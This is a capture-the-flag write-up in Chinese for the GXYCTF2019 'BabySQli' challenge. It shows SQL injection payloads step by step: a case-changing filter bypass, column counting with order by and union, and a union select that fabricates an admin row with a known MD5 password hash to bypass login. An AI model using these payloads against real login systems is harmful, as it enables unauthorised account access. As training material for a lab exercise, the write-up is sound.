[GXYCTF2019]BabySQli

[GXYCTF2019]BabySQli

SQL注入题目:

首页面输入payload:

1
11'

报错:

输入有注入点

利用burp抓包测试:

尝试注入:

payload:

1
'or 1=1%23

错误用户,试着用admin权限,修改注入位置,检测到注入,说明有过滤

显示错误密码,

但是注意到响应包中有部分奇怪编码,类似base64

1
MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

1. base32与base64

先说说base32 和 base64 的区别,
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。
明显,那段文字是base32加密
解密后:

1
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

继续base64解密:

1
select * from user where username = '$name'

2. 判断字段个数

1
2
3
4
or被过滤了,尝试大写绕过
'Order by 1/2/3/4... %23 #4的时候显示长度有问题,所以字段长度为3
或者union联合查询:
'union select 1,2,3,4....%23

3. 构造虚拟数据

这里有3个字段,其实之前做的很多SQL注入的题目,经常可以看到id,username,password这样的字段,可以在这里猜测也是这样的字段

构建猜测payload:

1
'union select 1,'admin',3%23

从结果显示的判断user在第二字段。

接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据(通常情况下数据库中的密码都是经过md5加密后的)

3.1 构建虚拟数据原理

联合构建虚拟数据的原理就是原本没有某个用户的数据,但是在union联合查询这个不存在的数据,就会构建这个用户的数据信息,而这题正好是不知道admin的密码,所以就可以联合查询从而构建一个admin的数据,这样构建的虚拟admin的密码就是合法的(其实像这种情况,有可能有些情况下数据库下根本就没有设置密码,而我们正好构建一个虚拟合法密码数据)

3.2 测试虚拟数据

1
2
3
先构建一个用户haoye的密码123456经过md5加密后:e10adc3949ba59abbe56e057f20f883e
构建虚拟用户payload:
select * from users where user='person' union select 1,2,3,'haoye','e10adc3949ba59abbe56e057f20f883e',6,7,8;

很明显,多了一个账户haoye,同时拥有密码

3.3构建payload

payload:

1
2
name=1'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'%23&pw=123456
#这里的name=1不能再为admin